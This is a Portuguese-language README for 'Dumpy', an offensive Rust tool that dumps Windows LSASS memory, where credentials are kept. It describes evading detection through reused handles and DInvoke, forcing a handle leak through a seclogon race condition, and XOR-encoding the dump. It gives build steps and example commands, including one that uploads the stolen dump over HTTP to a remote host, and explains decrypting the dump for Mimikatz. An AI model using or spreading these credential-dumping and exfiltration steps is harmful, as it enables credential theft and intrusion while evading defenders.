
Reutilize handles abertos para fazer dump dinâmico do LSASS.
Esta ferramenta chama dinamicamente MiniDumpWriteDump para fazer dump do conteúdo da memória do lsass. Este processo é realizado sem abrir um novo handle de processo para o lsass e usando DInvoke_rs para dificultar a detecção do seu comportamento malicioso. Para obter um handle de processo válido sem chamar OpenProcess sobre o lsass, todos os handles de processo do sistema são analisados usando NtQuerySystemInformation, NtDuplicateObject, NtQueryObject e QueryFullProcessImageNameW.
Transações NTFS são usadas para aplicar XOR ao dump de memória antes de armazená-lo em disco ou enviá-lo via HTTP.
Suporte adicionado para x86 e x64.
Basta compilar o código no modo release e executá-lo:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
Caso queira compilar a ferramenta para um sistema x86, modifique o valor da opção "target" no arquivo .cargo\config (por exemplo: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
O Dumpy tem duas ações principais:
dump: Executará a lógica principal para fazer o dump do lsass. Por padrão, armazenará o resultado em um arquivo de texto com XOR e nome aleatório no diretório atual. A opção upload permite enviar o conteúdo da memória via HTTP para um host remoto, evitando a criação do arquivo com XOR em disco. Usei este servidor HTTP simples para lidar com o upload, mas qualquer outro servidor HTTP que suporte requisições multipart/form-data funcionará.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Se quiser forçar o vazamento de um handle para o lsass através da condição de corrida no serviço do seclogon descrita por Antonio Cocomazzi em este post, basta usar a opção force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: Esta ação permite obter o dump de memória descriptografado no mesmo formato que ferramentas como o Mimikatz esperariam. Como argumentos, ela espera o dump de memória com XOR, a chave de criptografia e o caminho do arquivo de saída. Caso o arquivo com XOR tenha sido enviado via HTTP, é necessário realizar uma decodificação base64 do conteúdo antes deste processo de descriptografia.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey